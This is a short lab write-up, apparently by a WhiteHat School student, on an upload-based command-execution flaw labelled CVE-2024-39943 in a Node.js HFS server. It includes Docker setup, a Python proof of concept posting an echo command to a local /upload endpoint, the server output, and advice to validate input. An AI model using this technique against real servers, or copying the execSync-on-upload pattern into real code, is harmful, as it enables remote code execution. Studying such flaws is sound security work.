Node.js HFS 명령어 실행 취약점 (CVE-2024-39943)

Школа WhiteHat, 3-й набор – Но Джонмин (@JenmrR)

Краткое описание

В среде сервера HFS на базе Node.js существует уязвимость, при которой содержимое загруженного файла выполняется через child_process.execSync().
Злоумышленник может напрямую выполнять команды ОС через функцию загрузки файлов, а также просматривать результаты внутренних команд сервера или управлять системой.
Эта уязвимость соответствует CVE-2024-39943 и представляет угрозу, равную по уровню опасности инъекции команд (удаленному выполнению кода).

Настройка и запуск окружения

Запуск сервера через Docker
Сервер принимает загрузку файлов по пути /upload и выполняет содержимое загруженного файла как команду.
Злоумышленник может выполнить RCE через загрузку.

Порядок выполнения

$ sudo docker-compose up --build -d

$ python3 poc.py

poc.py

import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

Результат

Ответ сервера после выполнения PoC:

Executed:
Hello_From_Hacked_Server

poc-result

Заключение

Данная уязвимость является типичной RCE (удаленное выполнение команд), возникающей при выполнении внешнего ввода в качестве команд ОС.
Непосредственное выполнение содержимого загруженного файла через execSync() создает серьезную угрозу безопасности.
Пользовательский ввод всегда должен проверяться и не должен выполняться непосредственно на сервере.

Node.js-CVE-2024-39943

Популярное